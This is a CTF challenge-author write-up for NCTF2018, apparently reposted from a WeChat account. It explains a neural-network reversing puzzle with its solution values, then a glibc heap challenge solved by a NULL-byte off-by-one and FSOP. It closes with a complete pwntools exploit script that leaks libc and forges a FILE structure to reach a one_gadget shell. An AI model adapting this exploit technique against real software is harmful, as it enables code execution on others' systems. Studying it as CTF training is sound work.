NCTF2018 NaiveNetwork & HouseOfAcdxvfsvd 出题思路

本文所述的题目源码已经开放到https://github.com/NJUPT-coding-gay/NCTF2018

NaiveNetwork

最近出题人不知道吃错了什么药,开始研究起了神经网络,于是就有了这道题。

关于神经网络的基本介绍和实现,可以参见这篇文章 BP神经网络及其C语言实现:https://zhuanlan.zhihu.com/p/27110594

出题人用C语言手撸了一个简单的BP神经网络,有两个输入和一个输出,一层隐藏层,隐藏层有50个神经元,激活函数都是sigmoid。为了让做题人黑盒分析出来(x),使用的训练样本是满足f(x, y) = (x + 2 * y) / 3的,10000组样本训练10000次,获得超过99%的准确率与1e-6以下的累积误差。

当然,一个这么简单的网络肯定是不够大师傅们玩的,所以辣鸡出题人又在后面增加了一层check。既然都是浮点数,那么就往几何上面靠。check的步骤如下:

  • 将34个输出两两配对,变成平面上的17个点的坐标
  • 检查第一个点是否是某一个定点
  • 检查这17个点是不是圆心为(0.5, 0.5),半径为0.25的圆上的17个两两等距离的点

这种初中几何难度的check,估计大师傅们还是秒,所以出题人让这个check模糊了起来:

  • 先选取第一点A和第二点B,用余弦定理计算角AOB的余弦
  • 随机选取点集中一个异于A、B的点C,用余弦定理计算角ACB的余弦
  • 用二倍角公式检查角AOB是否为角ACB的两倍
  • 选取连续的两个点A[i]和A[(i+1)%17],再随机选一点X,计算角A[i]XA[i+1]是否等于之前角ACB的余弦,对所有的i=0到16进行此check
  • 为了防止偶然现象,进行10000次check。由于神经网络误差和浮点数误差,判断标准为准确率超过99.3%即为通过。Flag生成只使用输入的小数点后两位,保证在通过验证的情况下不存在多个Flag。

逆向起来的思路大概就是这样:

  • 首先要能看出这个check检查的是圆上17个均匀的点(x,并且第一个点是一个定点
  • 用matlab mathematica或者手算(喵喵喵?)等方法可以写出这些点的坐标:
{
    {0.747193, 0.53736}, 
    {0.717005, 0.624133}, 
    {0.657509, 0.694142}, 
    {0.57674, 0.73793}, 
    {0.485608, 0.749585}, 
    {0.396419, 0.727532}, 
    {0.32122, 0.67475}, 
    {0.270165, 0.598367}, 
    {0.250151, 0.508698}, 
    {0.263881, 0.417855}, 
    {0.3095, 0.338106}, 
    {0.380847, 0.280222}, 
    {0.468286, 0.25202}, 
    {0.560008, 0.257309}, 
    {0.643626, 0.295375}, 
    {0.707847, 0.361076}, 
    {0.743996, 0.44554}
}
  • 不过有一个问题,不确定这些点应该顺时针排还是逆时针排。暂且都保留。
  • 分析神经网络,利用hook等方法获得一些输入输出对,画出一个图像,可以显然(x)看出,分布在一个平面上,拟合出平面的方程为x + 2y - 3z == 0.
  • 提取输入到输出的变换规则,可以得到方程组
seq_a[] = [5, 30, 32, 24, 13, 33, 29, 19, 9, 20, 10, 14, 6, 12, 18, 11, 0, 26, 21, 3, 2, 4, 22, 25, 8, 16, 23, 27, 17, 7, 1, 15, 31, 28]
seq_b[] = [22, 7, 13, 15, 29, 28, 30, 32, 12, 33, 27, 25, 9, 23, 5, 11, 6, 21, 24, 0, 19, 16, 10, 17, 14, 18, 31, 26, 20, 8, 3, 4, 1, 2]
for i in xrange(34):
    input[seq_a[i]] + 2 * input[seq_b[i]] == 3 * output[i]
  • 用z3 matlab或者手解(喵喵喵喵喵?)等方法解出方程组的解,不难发现只有逆时针的时候能解得一组全为0到1之间的解。

// ps: 为了凑这个方程组,出题人采用了传说中的猴子算法,每次随机打乱两个顺序数组,不停地解一下方程,直到都在0-1之间为止。实践证明这个算法还是挺靠谱的= =

最后拿到输入组

0.316222
0.881297
0.309929
0.621122
0.084098
0.332510
0.217116
0.545128
0.170498
0.373272
0.094003
0.598367
0.541776
0.599381
0.617180
0.915032
0.465110
0.028979
0.145475
0.309285
0.950950
0.706972
0.954535
0.741237
0.042336
0.782708
0.112150
0.547627
0.716762
0.686573
0.521824
0.469393
0.952252
0.648903

输入即可拿到Flag。

House of acdxvfsvd

这道题的出题灵感来自于某一次课程设计的时候写了个bug,基本也没怎么分配堆,就开了几个文件,一通操作之后堆炸了,后来学了pwn才知道,fopen分配 FILE结构体的时候会分配在堆上。

这个题设计的攻击思路是NULL-byte off by one + FSOP

程序设计了三种堆块的分配,大小分别为 0x208,0x608,0x408。同时限制了三种分配和释放的次数, 0x208能分配两块,任意次数,其他的只能分配一次,且只有一块。最后退出的时候,可以分配一个 0x808的堆块,写入完之后直接exit。漏洞在 read函数中,如果读入的数量刚好等于参数所给的数量的话,会在最后多补一个零,造成 Nullbyteoffbyone.

由于限制比较严,这个题目的攻击方法应该比较窄,基本思路如下:

malloc(homura)
malloc(cossack)
malloc(mozhucy)
free(cossack)
free(homura)
malloc(homura)
overflow cossack
malloc(homura)
read_file == malloc(io_file)
free(homura)
free(mozhucy)
malloc(comment)

泄露地址可以通过对homura堆块的反复分配与释放来获得。

在完成堆利用链之后,我们可以完全控制文件结构体所在块的内容,于是可以按照 fsop的思路,写一个假的虚表,在 io overflow字段放上 one gadget,然后将 FILE结构体覆写为我们伪造的 FILE结构体,最后调用 exit触发 one gadget

最后附上题目中出现的Homura所写的exp:

from pwn import *
p=process('./houseofacd',env={'LD_PRELOAD':'./libc-2.23.so'})
def addhomura(data):
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delehomura():
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline('2')
def addcoss(data):
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delecoss():
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('choice')
    p.sendline('2')
def addmo(data):
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delemo():
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choice')
    p.sendline('2')
def readfile():
    p.recvuntil('choice')
    p.sendline('4')
    p.sendline('aaaa')
addhomura('aaa\n')#1
addcoss('aaa\n')
addmo('aaa\n')
delecoss()
delehomura()#0
addhomura('a'*0x208)
addhomura('\n')#2
readfile()
delehomura()#1
delemo()
delehomura()#0
addhomura('\n')#1
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice:\n')
p.sendline('3')
heap = u64(p.recv(6).ljust(8,'\x00'))
info(hex(heap))
delehomura()#0
addhomura('aaaaaaaa\n')#1
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('a'*8)
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_addr = addr - (0x00007fca72624b78-0x7fca72260000)
one = libc_addr + 0xf1147
info(hex(libc_addr))
table = p64(0)*2+p64(one)*19
fake = p64(libc_addr +(0x00007f59fbad2488-0x7f59a4135000))
fake+= 3*p64(0)
fake+=p64(heap)
fake+=p64(heap+0x10)
fake+=p64(0)*7
fake+= p64(libc_addr +(0x00007f59a44fa540 - 0x7f59a4135000))
fake +=p64(3)
fake +=2*p64(0)
fake +=p64(heap - 0x140)
fake +=p64(0xffffffffffffffff)
fake +=p64(0)
fake +=p64(heap - 0x130)
fake +=p64(0)*4
fake += p64(0x00000000ffffffff) 
fake += p64(0)
fake +=p64(heap -0x430)
delehomura()#0
addhomura(table+'\n')#1
addhomura(fake+'\n')#2
p.sendline('5')
p.sendline('a')
p.interactive()

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏AI科技评论

学界 | 腾讯 AI Lab 解读16篇 EMNLP 2018 入选论文

EMNLP 是自然语言处理领域的顶级会议,它的全称是Conference on Empirical Methods in Natural Language Pr...

17410
来自专栏深度学习与数据挖掘实战

【深度学习】Deep learning--知识结构搭建

深度学习,在语音识别、图像识别、自然语言处理方面取得良好的效果,受到工业界的热捧。通往AI(人工智能)的道路是艰难的,深度学习取得的成绩,给AI的研究者带来了一...

11710
来自专栏量子位

10岁女程序员,婉拒谷歌Offer,研发全球首款AI桌游,现在是一名CEO

最近,硅谷出现了一款AI桌游,名叫CoderMindz,能够帮助大小朋友们(4-104岁)学习基本的AI概念,包括模型、推理、自适应学习等。

14720
来自专栏深度学习与数据挖掘实战

干货|深度学习面试问答集锦

No.19 CNN中,conv layer、ReLu layer、Pooling layer、Fully connected layer的区别?

14640
来自专栏小红豆的数据分析

AI领域新时代女性——李飞飞

提起李飞飞,大家可能并不陌生。作为女性,其独立、聪慧、干练、富有创造性,为新时代女性做出了榜样。作为科学家,其抓住了AI领域的浪潮,揭开了中国人在AI领域崛起的...

9450
来自专栏数据派THU

独家 | 教你使用Keras on Google Colab(免费GPU)微调深度神经网络

在CPU上训练深度神经网络很困难。本教程将指导您如何使用Google Colaboratory上的Keras微调VGG-16网络,这是一个免费的GPU云平台。如...

71710
来自专栏数据派THU

教你在Python中构建物体检测系统(附代码、学习资料)

本文介绍物体检测技术以及解决此领域问题的几种不同方法,带你深入研究在Python中如何构建我们自己的对象检测系统。

34630
来自专栏深度学习与数据挖掘实战

【深度学习】Deep learning--知识结构搭建

深度学习,在语音识别、图像识别、自然语言处理方面取得良好的效果,受到工业界的热捧。通往AI(人工智能)的道路是艰难的,深度学习取得的成绩,给AI的研究者带来了一...

17520
来自专栏深度学习与数据挖掘实战

干货|Hinton、LeCun、Bengio三巨头权威科普深度学习

借助深度学习,多处理层组成的计算模型可通过多层抽象来学习数据表征( representations)。这些方法显著推动了语音识别、视觉识别、目标检测以及许多其他...

15520
来自专栏杨熹的专栏

强化学习 8: approximate reinforcement learning

前面说过,对于骑自行车这种可能只有十个 state,四个 aciton 的小问题上面,交叉熵可以解决,但如果在自动驾驶,或者打游戏上面,它却不行,因为这时我们没...

14010

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励